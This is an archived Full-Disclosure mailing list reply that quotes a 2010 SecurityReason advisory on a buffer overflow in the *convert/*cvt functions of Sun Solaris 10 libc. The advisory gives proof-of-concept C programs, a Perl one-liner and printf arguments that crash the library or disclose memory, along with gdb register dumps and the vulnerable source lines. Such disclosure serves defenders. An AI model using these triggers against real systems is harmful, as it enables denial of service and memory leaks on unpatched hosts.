[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <AANLkTineG4k6bm3lsD5MNmRy238muciIWobY1BVUflRY@mail.gmail.com>
Date: Tue, 25 May 2010 02:54:11 -0700
From: jai <jaikumar.shinde@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Sun Solaris 10 libc/*convert (*cvt) buffer
overflow
Hi there,
i am in bangalore, (karnataka state), India
Lot of internet hackers coming to india, we are talking in different
frequency,
if your coming to india, bangalore, please feel free to contact me,
my email id jaikumar.shinde@...il.com
thanks for supporting me, from Def Con and Black Hat people,
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> [ Sun Solaris 10 libc/*convert (*cvt) buffer overflow ]
>
> Author: Maksymilian Arciemowicz
> http://SecurityReason.com <http://securityreason.com/>
> Date:
> - - Dis.: 15.04.2010
> - - Pub.: 21.05.2010
>
> Affected Software:
> - - Sun Solaris 10 10/9
>
> Original URL:
> http://securityreason.com/achievement_securityalert/86
>
>
> - --- 0.Description ---
> SYNOPSIS
> #include <floatingpoint.h>
>
> char *econvert(double value, int ndigit, int *decpt, int
> *sign, char *buf);
>
> char *fconvert(double value, int ndigit, int *decpt, int
> *sign, char *buf);
>
> char *gconvert(double value, int ndigit, int trailing, char
> *buf);
>
> char *seconvert(single *value, int ndigit, int *decpt, int
> *sign, char *buf);
>
> char *sfconvert(single *value, int ndigit, int *decpt, int
> *sign, char *buf);
>
> char *sgconvert(single *value, int ndigit, int trailing,
> char *buf);
>
> char *qeconvert(quadruple *value, int ndigit, int *decpt,
> int *sign, char *buf);
>
> char *qfconvert(quadruple *value, int ndigit, int *decpt,
> int *sign, char *buf);
>
> char *qgconvert(quadruple *value, int ndigit, int trailing,
> char *buf);
>
> The econvert() function converts the value to a null-
> terminated string of ndigit ASCII digits in buf and returns
> a pointer to buf. buf should contain at least ndigit+1 char-
> acters. The position of the decimal point relative to the
> beginning of the string is stored indirectly through decpt.
> Thus buf == "314" and *decpt == 1 corresponds to the numeri-
> cal value 3.14, while buf == "314" and *decpt == -1
> corresponds to the numerical value .0314. If the sign of the
> result is negative, the word pointed to by sign is nonzero;
> otherwise it is zero. The least significant digit is
> rounded.
>
> SYNOPSIS
> #include <stdlib.h>
>
> char *ecvt(double value, int ndigit, int *restrict decpt,
> int *restrict sign);
>
> char *fcvt(double value, int ndigit, int *restrict decpt,
> int *restrict sign);
>
> char *gcvt(double value, int ndigit, char *buf);
>
> DESCRIPTION
> The ecvt(), fcvt() and gcvt() functions convert floating-
> point numbers to null-terminated strings.
>
>
> - --- 1. Sun Solaris 10 libc/*convert (*cvt) buffer overflow ---
> The main problem exists in sun solaris libc. OpenSolaris is not affected.
>
> PoC:
> - ---
> # cat jaja.c
> #include <stdio.h>
> #include <stdlib.h>
>
> int main (int argc, char *argv[]){
>
> char number[10000];
>
> int a,b;
>
> printf("%s", fconvert((double)0,atoi(argv[1]),&a,&b,number));
> return 0;
> }
>
> # /usr/local/bin/gcc -o jaja jaja.c
> # ./jaja 16
> 0000000000000000#
> # ./jaja 512
>
> 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000#
> - ---
>
> for 512 will work fine, because we have used (double)0 to convert. When
> we use no zero value, then crash.
>
> ok. let`s set no zero value in jaja2.c
>
> Poc:
> - ---
> # cat jaja2.c
> #include <stdio.h>
> #include <stdlib.h>
>
> int main (int argc, char *argv[]){
>
> char number[10000];
>
> int a,b;
>
> printf("%s", fconvert((double)1,atoi(argv[1]),&a,&b,number));
> return 0;
> }
>
> # /usr/local/bin/gcc -o jaja2 jaja2.c
> # ./jaja2 512
> Segmentation fault (core dumped)
> # /usr/local/bin/gdb -q jaja2
> (no debugging symbols found)
> (gdb) r 512
> Starting program: /jaja2 512
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfeeab05c in fconvert () from /lib/libc.so.1
> (gdb) i r
> eax 0x8047240 134509120
> ecx 0x3250 12880
> edx 0x8048000 134512640
> ebx 0xfef9e000 -17178624
> esp 0x8044b38 0x8044b38
> ebp 0x8044d68 0x8044d68
> esi 0x200 512
> edi 0x0 0
> eip 0xfeeab05c 0xfeeab05c <fconvert+163>
> eflags 0x10206 [ PF IF RF ]
> cs 0x3b 59
> ss 0x43 67
> ds 0x43 67
> es 0x43 67
> fs 0x0 0
> gs 0x1c3 451
> (gdb) x/x $edx
> 0x8048000: Cannot access memory at address 0x8048000
> (gdb)
> - ---
>
> the same result we can get with perl(1)
>
> PoC perl:
> - ---
> #!/usr/local/bin/perl
> printf "%.512f", 1;
> # perl pss.pl
> Segmentation Fault - core dumped
> # /usr/local/bin/gdb -q perl
> (no debugging symbols found)
> (gdb) r pss.pl
> Starting program: /usr/bin/perl pss.pl
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfed7b05c in fconvert () from /lib/libc.so.1
> - ---
>
> ok.
>
> function like *cvt(3) are also affected. let`s check ecvt(3)
>
> PoC:
> - ---
> # cat jaja3.c
> #include <stdio.h>
> #include <stdlib.h>
>
> int main (int argc, char *argv[]){
>
> int a,b;
>
> printf("%s", ecvt((double)1,atoi(argv[1]),&a,&b));
> return 0;
> }
>
> # ./jaja3 3405
> %Y....[some_part_of_memory]
> #
> - ---
>
> it`s look like a memory disclosure
>
> let's see bigger value
>
> PoC:
> - ---
> # ./jaja3 3500
> Segmentation fault (core dumped)
> - ---
>
> now is the time to debug it
>
> PoC:
> - ---
> # /usr/local/bin/gdb -q jaja3
> (no debugging symbols found)
> (gdb)
> (gdb) r 4000
> Starting program: /jaja3 4000
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfeeaaf72 in econvert () from /lib/libc.so.1
> (gdb) i r
> eax 0xf00 3840
> ecx 0xdac 3500
> edx 0xfef929ab -17225301
> ebx 0xfef9e000 -17178624
> esp 0x8047230 0x8047230
> ebp 0x8047460 0x8047460
> esi 0xfa0 4000
> edi 0x1 1
> eip 0xfeeaaf72 0xfeeaaf72 <econvert+144>
> eflags 0x10287 [ CF PF SF IF RF ]
> cs 0x3b 59
> ss 0x43 67
> ds 0x43 67
> es 0x43 67
> fs 0x0 0
> gs 0x1c3 451
> - ---
>
> eip can be differ, not ever in econvert+144
>
> PoC:
> - ---
> (gdb) r 3501111111
> The program being debugged has been started already.
> Start it from the beginning? (y or n) y
> Starting program: /jaja3 3501111111
> [New LWP 1 ]
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfeeaaf89 in econvert () from /lib/libc.so.1
> (gdb) i r
> eax 0xcfa7d347 -811084985
> ecx 0x0 0
> edx 0x1 1
> ebx 0xfef9e000 -17178624
> esp 0x8047230 0x8047230
> ebp 0x8047460 0x8047460
> esi 0xd0aeb747 -793856185
> edi 0x1 1
> eip 0xfeeaaf89 0xfeeaaf89 <econvert+167>
> eflags 0x10287 [ CF PF SF IF RF ]
> cs 0x3b 59
> ss 0x43 67
> ds 0x43 67
> es 0x43 67
> fs 0x0 0
> gs 0x1c3 451
> - ---
>
> and not ever should crash in econvert
>
> very interesting behavior, we can see in printf(1) program
>
> PoC:
> - ---
> # /usr/local/bin/gdb -q printf
> (no debugging symbols found)
> (gdb) r %.011111f 0
> Starting program: /usr/bin/printf %.011111f 0
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfeea48da in _malloc_unlocked () from /lib/libc.so.1
> (gdb) r %.0111111f 0
> The program being debugged has been started already.
> Start it from the beginning? (y or n) y
>
> Starting program: /usr/bin/printf %.0111111f 0
> [New LWP 1 ]
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfee852ab in memcpy () from /lib/libc.so.1
>
> (gdb) r %.0111111f 1
> The program being debugged has been started already.
> Start it from the beginning? (y or n) y
>
> Starting program: /usr/bin/printf %.0111111f 1
> [New LWP 1 ]
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xfee8b05c in fconvert () from /lib/libc.so.1
> (gdb) x/i $eip
> 0xfee8b05c <fconvert+163>: mov %al,(%edx)
> - ---
>
> for printf(1) we have get eip in:
> - - fconvert+163 (the same like in jaja2=512)
> - - memcpy
> - - _malloc_unlocked
> - - others
>
> this vuln is very similar to CVE-2009-0689 but we don't have founded
> part of gdtoa license in Oracle license and bahavior for above examples
> are differs as in CVE-2009-0689.
>
>
> http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/ecvt.c
>
> - ---
> 34 char *
> 35 ecvt(arg, ndigits, decpt, sign)
> 36 double arg;
> 37 int ndigits, *decpt, *sign;
> 38 {
> 39 if (efcvtbuffer == NULL)
> 40 efcvtbuffer = (char *)calloc(1,1024);
> 41 return econvert(arg, ndigits, decpt, sign, efcvtbuffer);
> 42 }
> 43
> - ---
>
> efcvtbuffer = (char *)calloc(1,1024);
> and ndigits is bigger from efcvtbuffer size.
>
> now we show econvert(),
>
>
> http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/econvert.c
>
> - ---
> 34 econvert(arg, ndigits, decpt, sign, buf)
> 35 double arg;
> 36 int ndigits, *decpt, *sign;
> 37 char *buf;
> 38 {
> 39 decimal_mode dm;
> 40 decimal_record dr;
> 41 fp_exception_field_type ef;
> 42 int i;
> 43 char *pc;
> 44 int nc;
> 45
> 46 dm.rd = fp_direction; /* Rounding direction. */
> 47 dm.df = floating_form; /* E format. */
> 48 dm.ndigits = ndigits; /* Number of significant digits. */
> 49 double_to_decimal(&arg, &dm, &dr, &ef);
> 50 *sign = dr.sign;
> 51 switch (dr.fpclass) {
> 52 case fp_normal:
> 53 case fp_subnormal:
> 54 *decpt = dr.exponent + ndigits;
> 55 for (i = 0; i < ndigits; i++)
> 56 buf[i] = dr.ds[i];
> 57 buf[ndigits] = 0;
> 58 break;
> - ---
>
> line 55 and 56 show buffer overflow.
>
> We do not know why, but the OpenSolaris project, contains a security
> patch and the project is vulnerable SunOS.
>
>
> - --- 2. Fix ---
> Sun bug 5105920
>
> OpenSolaris has removed this issue without realizing the security nature
> of the bug.
>
>
> - --- 3. Greets ---
> sp3x Infospec pi3
>
>
> - --- 4. Contact ---
> Author: SecurityReason.com [ Maksymilian Arciemowicz ]
>
> Email:
> - - cxib {a\./t] securityreason [d=t} com
>
> GPG:
> - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
>
> http://securityreason.com/
> http://securityreason.com/exploit_alert/ - Exploit Database
> http://securityreason.com/security_alert/ - Vulnerability Database
> -----BEGIN PGP SIGNATURE-----
>
> iEYEARECAAYFAkv2fz0ACgkQpiCeOKaYa9aStgCcCZb2uawbEXy9yJIjfCAPRQFS
> B/cAnRGVewtJnM/CBuZk6PHKp9LJrf2q
> =AMPU
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists